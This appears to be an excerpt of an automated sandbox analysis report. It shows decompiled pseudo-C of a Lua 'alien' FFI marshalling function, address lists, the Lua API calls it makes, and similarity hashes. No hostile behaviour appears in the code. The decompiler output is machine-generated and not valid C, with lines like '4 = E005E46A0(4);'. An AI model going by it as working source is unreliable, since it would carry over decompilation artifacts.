										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L25:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								goto L0;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L20:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t253 =  *((intOrPtr*)(_t277 - 0x14));
					 *((intOrPtr*)(_t277 - 0x3c)) = 0;
					_t227 =  *(_t253 + 0xc);
					if(_t227 > 0xc) {
						L58:
						_t228 =  *(_t253 + 8);
						if(_t228 == 0) {
							_t228 = "anonymous";
						}
						_push(_t228);
						_push("alien: unknown return type (function %s)");
						_push(_t275);
						L005E3F26();
						L61:
						_t281 = _t280 + 0xc;
						L62:
						 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) +  ~( *(_t277 - 0x48)) * 4;
						 *((intOrPtr*)(_t277 - 0x2c)) =  *((intOrPtr*)(_t277 - 0x2c)) -  *((intOrPtr*)(_t277 - 0x30));
						_t273 = 0;
						 *((intOrPtr*)(_t277 - 0x28)) =  *((intOrPtr*)(_t277 - 0x28)) +  ~( *(_t277 - 0x38)) * 4;
						if( *((intOrPtr*)(_t277 - 0x44)) <= 0) {
							L72:
							_pop(_t274);
							_pop(_t276);
							_pop(_t248);
							return E005E45A4( *((intOrPtr*)(_t277 - 0x30)) +  *((intOrPtr*)(_t277 - 0x34)) +  *(_t277 - 0x38) +  *(_t277 - 0x48) + 1, _t248,  *(_t277 - 4) ^ _t277,  *(_t277 - 0x48), _t274, _t276);
						} else {
							goto L63;
						}
						do {
							L63:
							_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 0x30)) + _t273 * 4)) + 0xfffffff3;
							if(_t239 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t239 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t284 = _t281 - 8;
									 *_t284 = _t291;
									_push(_t275);
									L005E3F80();
									_t281 = _t284 + 0xc;
									 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t273 = _t273 + 1;
						} while (_t273 <  *((intOrPtr*)(_t277 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t227 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t246, _t263, _t272, _t291,  *((intOrPtr*)(_t277 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 4)), 0, _t272);
							_push(_t275);
							L005E3F74();
							_t281 = _t280 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e246f
0x005e246f
0x005e246f
0x005e246f
0x005e246f
0x005e246f
0x005e2471
0x005e2476
0x005e2481
0x005e2488
0x005e248d
0x005e2493
0x005e2495
0x005e249a
0x005e249d
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E2471
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: 020fdf7196640338c9b1708af408a1f6fe27339492e1ded43697e560b685390c
Instruction ID: 2222454a7abefabc7251cb9bb933c2617dba407719e4ee420a6a541cde933b0b
Opcode Fuzzy Hash: 020fdf7196640338c9b1708af408a1f6fe27339492e1ded43697e560b685390c
Instruction Fuzzy Hash: 11B1C5B5D041499BCB08EB95DD89CEEBFF8FF89300F148548E481B720ADA389A15CB71

Uniqueness

Uniqueness Score: -1.00%

Function 005E23ED, Relevance: 25.8, APIs: 17, Instructions: 320
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E23ED(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				void* _t219;
				intOrPtr* _t223;
				signed int _t225;
				char* _t226;
				signed int _t227;
				char* _t228;
				signed int _t239;
				void* _t246;
				void* _t248;
				intOrPtr _t250;
				intOrPtr _t252;
				intOrPtr _t253;
				void* _t272;
				signed int _t273;
				void* _t274;
				void* _t276;
				signed int _t277;
				void* _t279;
				intOrPtr* _t280;
				void* _t281;
				long long _t291;

				L0:
				while(1) {
					L0:
					_t291 = __fp0;
					_t272 = __edi;
					_push(_t246);
					L005E3F68();
					_t280 = _t279 + 8;
					 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x24)))) = E005E45C0(_t219, __fp0);
					E005E46A0(4);
					_t250 =  *((intOrPtr*)(_t277 - 0x24));
					_t223 = _t280;
					 *_t223 = _t250;
					 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + __edi)) = _t223;
					 *((intOrPtr*)(_t277 - 0x24)) = _t250 + 4;
					while(1) {
						L36:
						 *((intOrPtr*)(_t277 - 0xc)) =  *((intOrPtr*)(_t277 - 0xc)) + 4;
						_t246 = _t246 + 1;
						_t116 = _t277 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t277 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t252 =  *((intOrPtr*)(_t277 - 0x14));
						_t263 =  *((intOrPtr*)(_t252 + 0x30));
						_t225 =  *( *((intOrPtr*)(_t277 - 0xc)) +  *((intOrPtr*)(_t252 + 0x30)));
						if(_t225 > 0x11) {
							L33:
							_t226 =  *(_t252 + 8);
							if(_t226 == 0) {
								_t226 = "anonymous";
							}
							_push(_t226);
							_push(_t246);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t275);
							L005E3F26();
							_t280 = _t280 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t225 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t244 = E005E46A0(4);
								 *((intOrPtr*)(_t277 - 8)) = _t280;
								_push(_t246);
								_push(_t275);
								L005E3F68();
								_t280 = _t280 + 8;
								_t245 = E005E45C0(_t244, _t291);
								_t262 =  *((intOrPtr*)(_t277 - 8));
								_t263 =  *((intOrPtr*)(_t277 - 0xc));
								 *_t262 = _t245;
								 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + _t272)) = _t262;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
